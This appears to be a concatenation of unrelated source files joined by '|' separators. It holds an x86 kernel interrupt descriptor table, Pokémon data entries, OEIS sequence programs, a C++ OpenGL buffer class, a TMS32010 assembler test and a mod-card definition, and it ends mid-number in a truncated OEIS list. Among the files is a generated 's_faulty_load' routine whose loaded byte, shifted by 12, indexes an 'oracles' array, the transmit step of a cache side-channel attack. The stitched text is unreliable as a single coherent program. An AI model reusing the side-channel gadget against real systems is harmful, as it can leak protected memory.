dd 0
dd 0
;192 interrupt C0h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;193 interrupt C1h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;194 interrupt C2h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;195 interrupt C3h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;196 interrupt C4h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;197 interrupt C5h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;198 interrupt C6h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;199 interrupt C7h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;; #obs
;; Essa não é mais a interrupção do sistema.
;; Agora é a tradicional 128 (0x80)
;200 interrupt C8h,
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;201 interrupt C9h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;202 interrupt CAh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;203 interrupt CBh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;204 interrupt CCh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;205 interrupt CDh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;206 interrupt CEh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;207 interrupt CFh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;208 interrupt D0h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;209 interrupt D1h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;210 interrupt D2h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;211 interrupt D3h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;212 interrupt D4h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;213 interrupt D5h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;214 interrupt D6H.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;215 interrupt D7h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;216 interrupt D8h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;217 interrupt D9h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;218 interrupt DAh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;219 interrupt DBh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;220 interrupt DCh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;221 interrupt DDh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;222 interrupt DEh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;223 interrupt DFh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;224 interrupt E0h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;225 interrupt E1h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;226 interrupt E2h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;227 interrupt E3h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;228 interrupt E4h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;229 interrupt E5h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;230 interrupt E6h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;231 interrupt E7h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;232 interrupt E8h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;233 interrupt E9h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;234 interrupt EAh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;235 interrupt EBh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;236 interrupt ECh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;237 interrupt EDh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;238 interrupt EEh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;239 interrupt EFh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;240 interrupt F0h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;241 interrupt F1h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;242 interrupt F2h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;243 interrupt F3h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;244 interrupt F4h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;245 interrupt F5h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;246 interrupt F6h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;247 interrupt F7h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;248 interrupt F8h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;249 interrupt F9h.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;250 interrupt FAh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;251 interrupt FBh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;252 interrupt FCh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;253 interrupt FDh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;254 interrupt FEh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
;255 interrupt FFh.
dw 0
dw sys_code
db 0
db sys_interrupt
dw 0
dd 0
dd 0
idt_end:
dq 0
;
; IDT_register
;
global _IDT_register
_IDT_register:
;dw (256*16) - (1)
dw idt_end - _idt - 1
dq _idt
align 8
; Includes:
; ========
; Esses includes são padronizados. Não acrescentar outros.
; Inicialização.
; Funções de apoio à inicialização do Kernel 32bit.
%include "head/head.asm"
%include "head/headlib.asm"
; Interrupções de hardware (irqs) e faults.
%include "hw/hw.asm"
%include "hw/hwlib.asm"
; Interrupções de software.
%include "sw/sw.asm"
%include "sw/swlib.asm"
;=================================================================
; DATA:
; Início do Segmento de dados.
; Coloca uma assinatura no todo.
segment .data
global _data_start
_data_start:
db 0x55
db 0xAA
global _xxxStackEnd
_xxxStackEnd:
times 4096 db 0
global _xxxStack
_xxxStack:
;=================================================================
; BSS:
; Início do segmento BSS.
; Coloca uma assinatura no todo.
; Mas normalmente limpamos essa área.
segment .bss
global _bss_start
_bss_start:
;db 0x55
;db 0xAA
|
db "ARMOR BIRD@" ; species name
dw 507, 1110 ; height, weight
db "The feathers that"
next "it sheds are very"
next "sharp. It is said"
page "that people once"
next "used the feathers"
next "as swords.@"
|
; A300404: Smallest integer k such that the largest term in the Goodstein sequence starting at k is > n.
; 2,2,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4
bin $0,2
mov $1,$0
trn $0,2
sub $1,$0
add $1,2
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r9
push %rax
push %rcx
// Faulty Load
lea addresses_UC+0xa909, %r9
nop
nop
nop
nop
sub $25906, %r14
movb (%r9), %r11b
lea oracles, %r9
and $0xff, %r11
shlq $12, %r11
mov (%r9,%r11,1), %r11
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
.include "defaults_mod.asm"
table_file_jp equ "exe6-utf8.tbl"
table_file_en equ "bn6-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252354A // BR5J
game_code_2 equ 0x42523545 // BR5E
game_code_3 equ 0x42523550 // BR5P
card_type equ 1
card_id equ 19
card_no equ "019"
card_sub equ "Mod Card 019"
card_sub_x equ 64
card_desc_len equ 2
card_desc_1 equ "Flashy"
card_desc_2 equ "11MB"
card_desc_3 equ ""
card_name_jp_full equ "ピカラー"
card_name_jp_game equ "ピカラー"
card_name_en_full equ "Flashy"
card_name_en_game equ "Flashy"
card_address equ ""
card_address_id equ 0
card_bug equ 0
card_wrote_en equ ""
card_wrote_jp equ "" |
; A313982: Coordination sequence Gal.3.57.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,10,17,22,29,34,39,44,49,56,61,68,73,78,83,88,95,100,107,112,117,122,127,134,139,146,151,156,161,166,173,178,185,190,195,200,205,212,217,224,229,234,239,244,251,256,263,268,273
mov $2,$0
mov $5,2
mov $7,$0
lpb $5
mov $0,$7
sub $5,1
add $0,$5
sub $0,1
mov $6,$0
mul $0,9
sub $0,$6
mov $3,1
mul $6,$0
add $6,$0
div $6,7
mul $6,2
add $3,$6
mov $4,$5
mov $6,$3
lpb $4
mov $1,$6
sub $4,1
lpe
lpe
lpb $7
sub $1,$6
mov $7,0
lpe
add $1,$2
mov $0,$1
|
SECTION code_fp_math16
PUBLIC _fabsf16_fastcall
EXTERN asm_f16_fabs
defc _fabsf16_fastcall = asm_f16_fabs
|
;external files include in c programming
%include "include.asm"
global _start
section .bss
section .data
name db "Abdellah",0x0a,0x00
len equ $-name
section .text
_start:
push len
push name
call printname
call exit
|
db 0 ; species ID placeholder
db 90, 120, 120, 50, 60, 60
; hp atk def spd sat sdf
db GROUND, GROUND ; type
db 60 ; catch rate
db 189 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/donphan/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_GROUND, EGG_GROUND ; egg groups
; tm/hm learnset
tmhm HEADBUTT, CURSE, ROLLOUT, ROAR, TOXIC, ROCK_SMASH, HIDDEN_POWER, SUNNY_DAY, SNORE, HYPER_BEAM, PROTECT, ENDURE, FRUSTRATION, EARTHQUAKE, RETURN, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SANDSTORM, DEFENSE_CURL, REST, ATTRACT, UPROOT
; end
|
#include "Buffer.hpp"
#include "spdlog/spdlog.h"
Buffer::Buffer(Buffer &&other) noexcept
: m_id{other.m_id}, m_size{other.m_size}, m_mappedMemory{
other.m_mappedMemory} {
memset(&other, 0, sizeof(Buffer));
}
Buffer::~Buffer() {
if (m_id != GL_NONE) SPDLOG_WARN("Texture leak: {}", m_id);
}
Buffer &Buffer::operator=(Buffer &&rhs) noexcept {
if (this != &rhs) {
memcpy(this, &rhs, sizeof(Buffer));
memset(&rhs, 0, sizeof(Buffer));
}
return *this;
}
Buffer::operator bool() const { return m_id != GL_NONE; }
GLsizeiptr Buffer::getSize() const { return m_size; }
bool Buffer::isMapped() const { return m_mappedMemory != nullptr; }
Buffer::Buffer(GLuint id, GLsizeiptr size) : m_id{id}, m_size{size} {}
Buffer::operator GLuint() const { return m_id; }
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; $Id: test3210.asm,v 3.0 2003/04/20 03:17:52 Tom Exp $
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; TASM test file
; Test all instructions and addressing modes.
; Processor: TMS32010
;
.org 100h
shift .equ 4
shift0 .equ 0
addr .equ 12h
port .equ 2
arp .equ 1
ar .equ 1
const .equ 34h
const1 .equ 1h
ABS ;7F88 2 NOP 1
ADD *+,shift,arp ;00A0 2 T1 1 8 0F00
ADD *-,shift,arp ;0090 2 T1 1 8 0F00
ADD *,shift,arp ;0080 2 T1 1 8 0F00
ADD *+,shift ;00A8 2 T1 1 8 0F00
ADD *-,shift ;0098 2 T1 1 8 0F00
ADD *,shift ;0088 2 T1 1 8 0F00
ADD *+ ;00A8 2 NOP 1
ADD *- ;0098 2 NOP 1
ADD * ;0088 2 NOP 1
ADD addr,shift ;0000 2 TDMA 1 8 0F00
ADD addr ;0000 2 T1 1 0 007F
ADDH *+,arp ;60A0 2 T1 1 0 01
ADDH *-,arp ;6090 2 T1 1 0 01
ADDH *,arp ;6080 2 T1 1 0 01
ADDH *+ ;60A8 2 NOP 1
ADDH *- ;6098 2 NOP 1
ADDH * ;6088 2 NOP 1
ADDH addr ;6000 2 T1 1 0 007F
ADDS *+,arp ;61A0 2 T1 1 0 01
ADDS *-,arp ;6190 2 T1 1 0 01
ADDS *,arp ;6180 2 T1 1 0 01
ADDS *+ ;61A8 2 NOP 1
ADDS *- ;6198 2 NOP 1
ADDS * ;6188 2 NOP 1
ADDS addr ;6100 2 T1 1 0 007F
AND *+,arp ;79A0 2 T1 1 0 01
AND *-,arp ;7990 2 T1 1 0 01
AND *,arp ;7980 2 T1 1 0 01
AND *+ ;79A8 2 NOP 1
AND *- ;7998 2 NOP 1
AND * ;7988 2 NOP 1
AND addr ;7900 2 T1 1 0 7F
APAC ;7F8F 2 NOP 1
loop1:
B loop1 ;F900 4 SWAP 1
BANZ loop1 ;F400 4 SWAP 1
BGEZ loop1 ;FD00 4 SWAP 1
BGZ loop1 ;FC00 4 SWAP 1
BIOZ loop1 ;F600 4 SWAP 1
BLEZ loop1 ;FB00 4 SWAP 1
BLZ loop1 ;FA00 4 SWAP 1
BNZ loop1 ;FE00 4 SWAP 1
BV loop1 ;F500 4 SWAP 1
BZ loop1 ;FF00 4 SWAP 1
CALA ;7F8C 2 NOP 1
CALL loop1 ;F800 4 SWAP 1
DINT ;7F81 2 NOP 1
DMOV *+,arp ;69A0 2 T1 1 0 01
DMOV *-,arp ;6990 2 T1 1 0 01
DMOV *,arp ;6980 2 T1 1 0 01
DMOV *+ ;69A8 2 NOP 1
DMOV *- ;6998 2 NOP 1
DMOV * ;6988 2 NOP 1
DMOV addr ;6900 2 T1 1 0 007F
EINT ;7F82 2 NOP 1
IN *+,port ,arp ;40A0 2 T1 1 8 0700
IN *-,port ,arp ;4090 2 T1 1 8 0700
IN * ,port ,arp ;4080 2 T1 1 8 0700
IN *+,port ;40A8 2 T1 1 8 0700
IN *-,port ;4098 2 T1 1 8 0700
IN * ,port ;4088 2 T1 1 8 0700
IN addr,port ;4000 2 TDMA 1 8 0700
LAC *+,shift,arp ;20A0 2 T1 1 8 0F00
LAC *-,shift,arp ;2090 2 T1 1 8 0F00
LAC *,shift,arp ;2080 2 T1 1 8 0F00
LAC *+,shift ;20A8 2 T1 1 8 0F00
LAC *-,shift ;2098 2 T1 1 8 0F00
LAC *,shift ;2088 2 T1 1 8 0F00
LAC *+ ;20A8 2 NOP 1
LAC *- ;2098 2 NOP 1
LAC * ;2088 2 NOP 1
LAC addr,shift ;2000 2 TDMA 1 8 0F00
LAC addr ;2000 2 T1 1 0 007F
LACK const ;7E00 2 T1 1 0 00FF
LAR ar,*+,arp ;38A0 2 TAR 1 0 0001
LAR ar,*-,arp ;3890 2 TAR 1 0 0001
LAR ar,*,arp ;3880 2 TAR 1 0 0001
LAR ar,*+ ;38A8 2 TAR 1 0 0001
LAR ar,*- ;3898 2 TAR 1 0 0001
LAR ar,* ;3888 2 TAR 1 0 0001
LAR ar, addr ;3800 2 TAR 1 0 007F
LARK ar,const ;7000 2 TAR 1 0 00FF
LARP const1 ;6880 2 T1 1 0 0001
LDP *+,arp ;6FA0 2 T1 1 0 01
LDP *-,arp ;6F90 2 T1 1 0 01
LDP *,arp ;6F80 2 T1 1 0 01
LDP *+ ;6FA8 2 NOP 1
LDP *- ;6F98 2 NOP 1
LDP * ;6F88 2 NOP 1
LDP addr ;6F00 2 T1 1 0 007F
LDPK const1 ;6E00 2 T1 1 0 01
LST *+,arp ;7BA0 2 T1 1 0 01
LST *-,arp ;7B90 2 T1 1 0 01
LST *,arp ;7B80 2 T1 1 0 01
LST *+ ;7BA8 2 NOP 1
LST *- ;7B98 2 NOP 1
LST * ;7B88 2 NOP 1
LST addr ;7B00 2 T1 1 0 007F
LT *+,arp ;6AA0 2 T1 1 0 01
LT *-,arp ;6A90 2 T1 1 0 01
LT *,arp ;6A80 2 T1 1 0 01
LT *+ ;6AA8 2 NOP 1
LT *- ;6A98 2 NOP 1
LT * ;6A88 2 NOP 1
LT addr ;6A00 2 T1 1 0 007F
LTA *+,arp ;6CA0 2 T1 1 0 01
LTA *-,arp ;6C90 2 T1 1 0 01
LTA *,arp ;6C80 2 T1 1 0 01
LTA *+ ;6CA8 2 NOP 1
LTA *- ;6C98 2 NOP 1
LTA * ;6C88 2 NOP 1
LTA addr ;6C00 2 T1 1 0 007F
LTD *+,arp ;6BA0 2 T1 1 0 01
LTD *-,arp ;6B90 2 T1 1 0 01
LTD *,arp ;6B80 2 T1 1 0 01
LTD *+ ;6BA8 2 NOP 1
LTD *- ;6B98 2 NOP 1
LTD * ;6B88 2 NOP 1
LTD addr ;6B00 2 T1 1 0 007F
MAR *+,arp ;68A0 2 T1 1 0 01
MAR *-,arp ;6890 2 T1 1 0 01
MAR *,arp ;6880 2 T1 1 0 01
MAR *+ ;68A8 2 NOP 1
MAR *- ;6898 2 NOP 1
MAR * ;6888 2 NOP 1
MAR addr ;6800 2 T1 1 0 007F
MPY *+,arp ;6DA0 2 T1 1 0 01
MPY *-,arp ;6D90 2 T1 1 0 01
MPY *,arp ;6D80 2 T1 1 0 01
MPY *+ ;6DA8 2 NOP 1
MPY *- ;6D98 2 NOP 1
MPY * ;6D88 2 NOP 1
MPY addr ;6D00 2 T1 1 0 007F
MPYK const ;8000 2 T1 1 0 1FFF
NOP ;7F80 2 NOP 1
OR *+,arp ;7AA0 2 T1 1 0 01
OR *-,arp ;7A90 2 T1 1 0 01
OR *,arp ;7A80 2 T1 1 0 01
OR *+ ;7AA8 2 NOP 1
OR *- ;7A98 2 NOP 1
OR * ;7A88 2 NOP 1
OR addr ;7A00 2 T1 1 0 007F
OUT *+,port,arp ;48A0 2 T1 1 8 0700
OUT *-,port,arp ;4890 2 T1 1 8 0700
OUT *, port,arp ;4880 2 T1 1 8 0700
OUT *+,port ;48A8 2 T1 1 8 0700
OUT *-,port ;4898 2 T1 1 8 0700
OUT *, port ;4888 2 T1 1 8 0700
OUT addr,port ;4800 2 TDMA 1 8 0700
PAC ;7F8E 2 NOP 1
POP ;7F9D 2 NOP 1
PUSH ;7F9C 2 NOP 1
RET ;7F8D 2 NOP 1
ROVM ;7F8A 2 NOP 1
;Note that shift count can only be 0,1, or 4.
;Mask also allows 5. Beware.
SACH *+,shift,arp ;58A0 2 T1 1 8 0500
SACH *-,shift,arp ;5890 2 T1 1 8 0500
SACH *, shift,arp ;5880 2 T1 1 8 0500
SACH *+,shift ;58A8 2 T1 1 8 0500
SACH *-,shift ;5898 2 T1 1 8 0500
SACH *, shift ;5888 2 T1 1 8 0500
SACH *+ ;58A8 2 NOP 1
SACH *- ;5898 2 NOP 1
SACH * ;5888 2 NOP 1
SACH addr,shift ;5800 2 TDMA 1 8 0500
SACH addr ;5800 2 T1 1 0 007F
; Shift count must be zero for SACL
SACL *+,shift0,arp ;50A0 2 T1 1 8 0000
SACL *-,shift0,arp ;5090 2 T1 1 8 0000
SACL *, shift0,arp ;5080 2 T1 1 8 0000
SACL *+,shift0 ;50A8 2 T1 1 8 0000
SACL *-,shift0 ;5098 2 T1 1 8 0000
SACL *, shift0 ;5088 2 T1 1 8 0000
SACL *+ ;50A8 2 NOP 1
SACL *- ;5098 2 NOP 1
SACL * ;5088 2 NOP 1
SACL addr,shift0 ;5000 2 TDMA 1 8 0000
SACL addr ;5000 2 T1 1 0 007F
SAR ar,*+,arp ;30A0 2 TAR 1 0 0001
SAR ar,*-,arp ;3090 2 TAR 1 0 0001
SAR ar,*,arp ;3080 2 TAR 1 0 0001
SAR ar,*+ ;30A8 2 TAR 1 0 0001
SAR ar,*- ;3098 2 TAR 1 0 0001
SAR ar,* ;3088 2 TAR 1 0 0001
SAR ar,addr ;3000 2 TAR 1 0 007F
SOVM ;7F8B 2 NOP 1
SPAC ;7F90 2 NOP 1
SST *+,arp ;7CA0 2 T1 1 0 0001
SST *-,arp ;7C90 2 T1 1 0 0001
SST *,arp ;7C80 2 T1 1 0 0001
SST *+ ;7CA8 2 NOP 1
SST *- ;7C98 2 NOP 1
SST * ;7C88 2 NOP 1
SST addr ;7C00 2 T1 1 0 007F
SUB *+,shift,arp ;10A0 2 T1 1 8 0F00
SUB *-,shift,arp ;1090 2 T1 1 8 0F00
SUB *, shift,arp ;1080 2 T1 1 8 0F00
SUB *+,shift ;10A8 2 T1 1 8 0F00
SUB *-,shift ;1098 2 T1 1 8 0F00
SUB *, shift ;1088 2 T1 1 8 0F00
SUB *+ ;10A8 2 NOP 1
SUB *- ;1098 2 NOP 1
SUB * ;1088 2 NOP 1
SUB addr,shift ;1000 2 TDMA 1 8 0F00
SUB addr ;1000 2 T1 1 0 007F
SUBC *+,arp ;64A0 2 T1 1 0 01
SUBC *-,arp ;6490 2 T1 1 0 01
SUBC *,arp ;6480 2 T1 1 0 01
SUBC *+ ;64A8 2 NOP 1
SUBC *- ;6498 2 NOP 1
SUBC * ;6488 2 NOP 1
SUBC addr ;6400 2 T1 1 0 007F
SUBH *+,arp ;62A0 2 T1 1 0 01
SUBH *-,arp ;6290 2 T1 1 0 01
SUBH *,arp ;6280 2 T1 1 0 01
SUBH *+ ;62A8 2 NOP 1
SUBH *- ;6298 2 NOP 1
SUBH * ;6288 2 NOP 1
SUBH addr ;6200 2 T1 1 0 007F
SUBS *+,arp ;63A0 2 T1 1 0 01
SUBS *-,arp ;6390 2 T1 1 0 01
SUBS *,arp ;6380 2 T1 1 0 01
SUBS *+ ;63A8 2 NOP 1
SUBS *- ;6398 2 NOP 1
SUBS * ;6388 2 NOP 1
SUBS addr ;6300 2 T1 1 0 007F
TBLR *+,arp ;67A0 2 T1 1 0 01
TBLR *-,arp ;6790 2 T1 1 0 01
TBLR *,arp ;6780 2 T1 1 0 01
TBLR *+ ;67A8 2 NOP 1
TBLR *- ;6798 2 NOP 1
TBLR * ;6788 2 NOP 1
TBLR addr ;6700 2 T1 1 0 007F
TBLW *+,arp ;7DA0 2 T1 1 0 01
TBLW *-,arp ;7D90 2 T1 1 0 01
TBLW *,arp ;7D80 2 T1 1 0 01
TBLW *+ ;7DA8 2 NOP 1
TBLW *- ;7D98 2 NOP 1
TBLW * ;7D88 2 NOP 1
TBLW addr ;7D00 2 T1 1 0 007F
XOR *+,arp ;78A0 2 T1 1 0 01
XOR *-,arp ;7890 2 T1 1 0 01
XOR *,arp ;7880 2 T1 1 0 01
XOR *+ ;78A8 2 NOP 1
XOR *- ;7898 2 NOP 1
XOR * ;7888 2 NOP 1
XOR addr ;7800 2 T1 1 0 007F
ZAC ;7F89 2 NOP 1
ZALH *+,arp ;65A0 2 T1 1 0 01
ZALH *-,arp ;6590 2 T1 1 0 01
ZALH *,arp ;6580 2 T1 1 0 01
ZALH *+ ;65A8 2 NOP 1
ZALH *- ;6598 2 NOP 1
ZALH * ;6588 2 NOP 1
ZALH addr ;6500 2 T1 1 0 007F
ZALS *+,arp ;66A0 2 T1 1 0 01
ZALS *-,arp ;6690 2 T1 1 0 01
ZALS *,arp ;6680 2 T1 1 0 01
ZALS *+ ;66A8 2 NOP 1
ZALS *- ;6698 2 NOP 1
ZALS * ;6688 2 NOP 1
ZALS addr ;6600 2 T1 1 0 007F
.end
|
; A017356: a(n) = (10*n+7)^4.
; 2401,83521,531441,1874161,4879681,10556001,20151121,35153041,57289761,88529281,131079601,187388721,260144641,352275361,466948881,607573201,777796321,981506241,1222830961,1506138481,1836036801,2217373921,2655237841,3154956561,3722098081,4362470401,5082121521,5887339441,6784652161,7780827681,8882874001,10098039121,11433811041,12897917761,14498327281,16243247601,18141126721,20200652641,22430753361,24840596881,27439591201,30237384321,33243864241,36469158961,39923636481,43617904801,47562811921,51769445841,56249134561,61013446081,66074188401,71443409521,77133397441,83156680161,89526025681,96254442001,103355177121,110841719041,118727795761,127027375281,135754665601,144924114721,154550410641,164648481361,175233494881,186320859201,1979